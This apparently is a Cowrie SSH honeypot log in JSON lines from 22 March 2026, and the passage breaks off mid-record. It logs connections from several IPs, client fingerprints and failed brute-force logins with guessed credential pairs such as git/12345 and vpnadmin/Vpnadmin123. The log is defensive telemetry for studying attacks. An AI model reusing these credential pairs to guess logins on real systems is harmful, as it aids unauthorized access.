{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:52:14.246036Z","src_ip":"2.57.122.96","session":"ebeb551cb43c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:52:14.551559Z","src_ip":"2.57.122.96","session":"ebeb551cb43c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:52:15.655215Z","src_ip":"2.57.122.96","session":"ebeb551cb43c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":52588,"dst_ip":"159.203.135.109","dst_port":22,"session":"117ddd5de8c9","protocol":"ssh","message":"New connection: 165.154.6.49:52588 (159.203.135.109:22) [session: 117ddd5de8c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:52:17.877198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:52:17.881842Z","src_ip":"165.154.6.49","session":"117ddd5de8c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:52:18.101000Z","src_ip":"165.154.6.49","session":"117ddd5de8c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ociispth","password":"123","message":"login attempt [ociispth/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:52:19.007417Z","src_ip":"165.154.6.49","session":"117ddd5de8c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:52:20.228327Z","src_ip":"165.154.6.49","session":"117ddd5de8c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.210.77.100","src_port":34812,"dst_ip":"159.203.135.109","dst_port":22,"session":"de3683629000","protocol":"ssh","message":"New connection: 187.210.77.100:34812 (159.203.135.109:22) [session: de3683629000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:53:50.563944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:53:50.567267Z","src_ip":"187.210.77.100","session":"de3683629000","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:53:50.756205Z","src_ip":"187.210.77.100","session":"de3683629000","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"12345","message":"login attempt [git/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:53:51.537694Z","src_ip":"187.210.77.100","session":"de3683629000","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:53:52.726234Z","src_ip":"187.210.77.100","session":"de3683629000","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":44504,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cf07c70d818","protocol":"ssh","message":"New connection: 195.178.110.218:44504 (159.203.135.109:22) [session: 1cf07c70d818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:54:56.564468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:54:56.568942Z","src_ip":"195.178.110.218","session":"1cf07c70d818","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:54:56.644484Z","src_ip":"195.178.110.218","session":"1cf07c70d818","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:54:56.871819Z","src_ip":"195.178.110.218","session":"1cf07c70d818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:54:57.948851Z","src_ip":"195.178.110.218","session":"1cf07c70d818","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.210.77.100","src_port":54628,"dst_ip":"159.203.135.109","dst_port":22,"session":"5abb0d6a9155","protocol":"ssh","message":"New connection: 187.210.77.100:54628 (159.203.135.109:22) [session: 5abb0d6a9155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:54:59.713577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:54:59.717985Z","src_ip":"187.210.77.100","session":"5abb0d6a9155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:54:59.902602Z","src_ip":"187.210.77.100","session":"5abb0d6a9155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpnadmin","password":"Vpnadmin123","message":"login attempt [vpnadmin/Vpnadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:55:00.682945Z","src_ip":"187.210.77.100","session":"5abb0d6a9155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:55:01.871311Z","src_ip":"187.210.77.100","session":"5abb0d6a9155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":59088,"dst_ip":"159.203.135.109","dst_port":22,"session":"4768897fb0b8","protocol":"ssh","message":"New connection: 2.57.122.96:59088 (159.203.135.109:22) [session: 4768897fb0b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:55:12.540648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:55:12.545288Z","src_ip":"2.57.122.96","session":"4768897fb0b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:55:12.698042Z","src_ip":"2.57.122.96","session":"4768897fb0b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:55:13.115060Z","src_ip":"2.57.122.96","session":"4768897fb0b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:55:14.215651Z","src_ip":"2.57.122.96","session":"4768897fb0b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.59.22.234","src_port":37080,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c4ae8383c0e","protocol":"ssh","message":"New connection: 2.59.22.234:37080 (159.203.135.109:22) [session: 9c4ae8383c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:55:20.882377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_2.11.0","message":"Remote SSH version: SSH-2.0-paramiko_2.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:55:20.886778Z","src_ip":"2.59.22.234","session":"9c4ae8383c0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a704be057881f0b1d623cd263e477a8b","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-rsa","ssh-dss","ecdsa-sha2-nistp256","ssh-ed25519","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a704be057881f0b1d623cd263e477a8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:55:20.986839Z","src_ip":"2.59.22.234","session":"9c4ae8383c0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.59.22.234","src_port":37754,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1eccda94e05","protocol":"ssh","message":"New connection: 2.59.22.234:37754 (159.203.135.109:22) [session: b1eccda94e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:55:21.990474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_2.11.0","message":"Remote SSH version: SSH-2.0-paramiko_2.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:55:21.995665Z","src_ip":"2.59.22.234","session":"b1eccda94e05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a704be057881f0b1d623cd263e477a8b","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a704be057881f0b1d623cd263e477a8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:55:22.444835Z","src_ip":"2.59.22.234","session":"b1eccda94e05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:55:26.485303Z","src_ip":"2.59.22.234","session":"9c4ae8383c0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:55:32.502140Z","src_ip":"2.59.22.234","session":"b1eccda94e05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.210.77.100","src_port":54528,"dst_ip":"159.203.135.109","dst_port":22,"session":"db2955ea4faa","protocol":"ssh","message":"New connection: 187.210.77.100:54528 (159.203.135.109:22) [session: db2955ea4faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:26.373369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:26.376801Z","src_ip":"187.210.77.100","session":"db2955ea4faa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":33082,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7f7e46a5f3a","protocol":"ssh","message":"New connection: 195.178.110.218:33082 (159.203.135.109:22) [session: d7f7e46a5f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:26.497517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:26.501293Z","src_ip":"195.178.110.218","session":"d7f7e46a5f3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 